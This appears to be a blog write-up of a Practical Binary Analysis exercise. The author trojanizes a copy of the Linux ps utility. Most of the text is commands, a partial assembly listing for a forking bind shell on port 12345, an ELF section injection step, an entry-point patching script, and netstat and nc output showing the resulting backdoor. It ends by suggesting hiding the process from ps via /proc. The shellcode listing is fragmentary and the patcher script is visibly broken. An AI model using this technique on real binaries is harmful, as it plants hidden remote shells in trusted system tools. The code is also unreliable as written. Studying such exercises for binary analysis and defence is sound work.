Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7.
It asks the reader to create a parasite binary from a legitimate one.
I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process.
Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder.
$ cp /bin/ps ps_teo
And take note of the original entry point.
$ readelf -h ps_teo
Entry point address: 0x402f10
We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job.
But, before jumping to that we should plan our shellcode.
We said we want a bind shell, right?
Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process.
push rax ; save all clobbered registers
cmp eax, 0
pop r11 ; restore all registers
push 0x402f10 ; jump to original entry point
mov al,0x29 ; sys_socket (syscall 41)
push 0x39300102. ; port 12345
mov al,0x31 ; sys_bind (syscall 49)
mov al,0x32 ; sys_listen (syscall 50)
mov al,0x2b ; sys_accept (43)
mov edi,eax ; store socket
mov al,0x21 ; sys_dup2 (syscall 33)
mov al,0x3b ; sys_execve (59)
mov ebx,0 ; Exit code
mov eax,60 ; SYS_EXIT
We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point.
Let’s now create a raw binary from this NASM file, which can be used by our injection process later on.
nasm -f bin -o bind_shell.bin bind_shell.s
Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code.
./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1
If we inspect the binary once more, we can notice the new .injected section around location 0x800000
$ readelf --wide --headers ps_teo | grep injected
 .injected PROGBITS 0000000000800c80 017c80 0000b0 00 AX 0 0 16
Guess what? The value 800c80 is going to be our new entry point.
I wrote a quick and dirt script that patch the entry-point on the fly.
# usage: ep_patcher.py -filename -new_entrypoint
patch_file_input = sys.argv
new_ep = sys.argv
new_ep = binascii.unhexlify(new_ep)
with open(patch_file_input, 'rb+') as f:
We can test it and. . .
python patcher.py ps_teo 800c80
. . .we can verify that the new entry point has been modified correctly:
$ readelf -h ps_teo
Entry point address: 0x800c80
After we ran the injected version of ps, we can notice a new listening socket on port 12345:
$ netstat -antulp | grep 12345
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 6898/ps_teo
Which leads to the expected backdoor:
$ nc localhost 12345
uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
If we would like to hide from ps or top we could go even further and revise the whole shellcode to force it alter the /proc/ folder like this or that one.